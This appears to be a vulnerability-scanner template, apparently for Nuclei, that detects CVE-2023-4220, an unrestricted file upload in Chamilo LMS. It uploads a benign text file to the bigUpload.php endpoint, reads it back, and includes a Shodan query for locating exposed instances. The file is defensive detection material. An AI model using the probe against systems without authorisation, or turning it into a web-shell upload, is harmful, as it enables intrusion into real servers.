53 lines
1.9 KiB
YAML
53 lines
1.9 KiB
YAML
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id: CVE-2023-4220
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info:
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name: Chamilo LMS <= 1.11.24 - Remote Code Execution
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author: securityforeveryone
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severity: medium
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description: |
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Unrestricted file upload in big file upload functionality in `/main/inc/lib/javascript/bigupload/inc/bigUpload.php` in Chamilo LMS <= v1.11.24 allows unauthenticated attackers to perform stored cross-site scripting attacks and obtain remote code execution via uploading of web shell.
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reference:
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- https://github.com/Ziad-Sakr/Chamilo-LMS-CVE-2023-4220-Exploit
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- https://nvd.nist.gov/vuln/detail/CVE-2023-4220
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- https://github.com/charlesgargasson/CVE-2023-4220
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
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cvss-score: 6.1
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cve-id: CVE-2023-4220
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cwe-id: CWE-434
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epss-score: 0.00163
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epss-percentile: 0.52876
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cpe: cpe:2.3:a:chamilo:chamilo_lms:*:*:*:*:*:*:*:*
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metadata:
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vendor: chamilo
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product: chamilo_lms
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shodan-query: cpe:"cpe:2.3:a:chamilo:chamilo_lms"
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tags: cve,cve2024,chamilo,lms,rce
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variables:
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filename: "{{rand_base(10)}}"
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num: "{{rand_int(1000, 9999)}}"
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http:
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- raw:
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- |
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POST /main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported HTTP/1.1
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Host: {{Hostname}}
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Content-Type: multipart/form-data; boundary=------------------------SwxF5rRaZb4lETWlpulXn3
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--------------------------SwxF5rRaZb4lETWlpulXn3
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Content-Disposition: form-data; name="bigUploadFile"; filename="{{filename}}.txt"
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Content-Type: application/octet-stream
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{{md5(num)}}
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--------------------------SwxF5rRaZb4lETWlpulXn3--
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- |
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GET /main/inc/lib/javascript/bigupload/files/{{filename}}.txt HTTP/1.1
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Host: {{Hostname}}
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matchers:
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- type: dsl
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dsl:
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- 'contains(body_2,"{{md5(num)}}")'
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- 'status_code_1 == 200 && status_code_2 == 200'
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condition: and
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